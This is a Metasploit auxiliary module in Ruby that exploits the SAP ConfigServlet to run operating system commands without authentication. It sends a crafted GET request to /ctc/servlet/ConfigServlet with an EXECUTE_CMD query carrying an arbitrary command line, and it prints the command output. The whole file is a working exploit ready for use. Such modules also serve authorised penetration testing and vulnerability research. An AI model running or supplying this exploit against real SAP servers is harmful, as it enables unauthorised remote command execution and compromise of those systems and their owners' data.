SAP ConfigServlet OS Command Execution



require 'msf/core'


class Metasploit3 < Msf::Auxiliary
    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'SAP ConfigServlet OS Command Execution',
            'Description'     => %q{
                This module allows execution of operating system commands through
                the SAP ConfigServlet without any authentication.
            },
            'Author'          =>
                [
                    'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
                    'Andras Kabai' # Metasploit module
                ],
            'License'         => MSF_LICENSE,
            'References'      =>
                [
                    [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
                ],
            'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
            ))

        register_options(
            [
                Opt::RPORT(50000),
                OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
                OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
            ], self.class)
    end

    def run
        begin
            print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
            uri = normalize_uri(target_uri.path, 'ConfigServlet')

            res = send_request_cgi(
                {
                    'uri' => uri,
                    'method' => 'GET',
                    'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text::uri_encode(datastore['CMD'])
                })
            if !res or res.code != 200
                print_error("#{rhost}:#{rport} - Exploit failed.")
                return
            end
        rescue ::Rex::ConnectionError
            print_error("#{rhost}:#{rport} - Failed to connect to the server")
            return
        end

        if res.body.include?("Process created")
            print_good("#{rhost}:#{rport} - Exploited successfully\n")
            print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
            print_line("#{rhost}:#{rport} - Output: #{res.body}")
        else
            print_error("#{rhost}:#{rport} - Exploit failed.")
            vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
        end
    end
end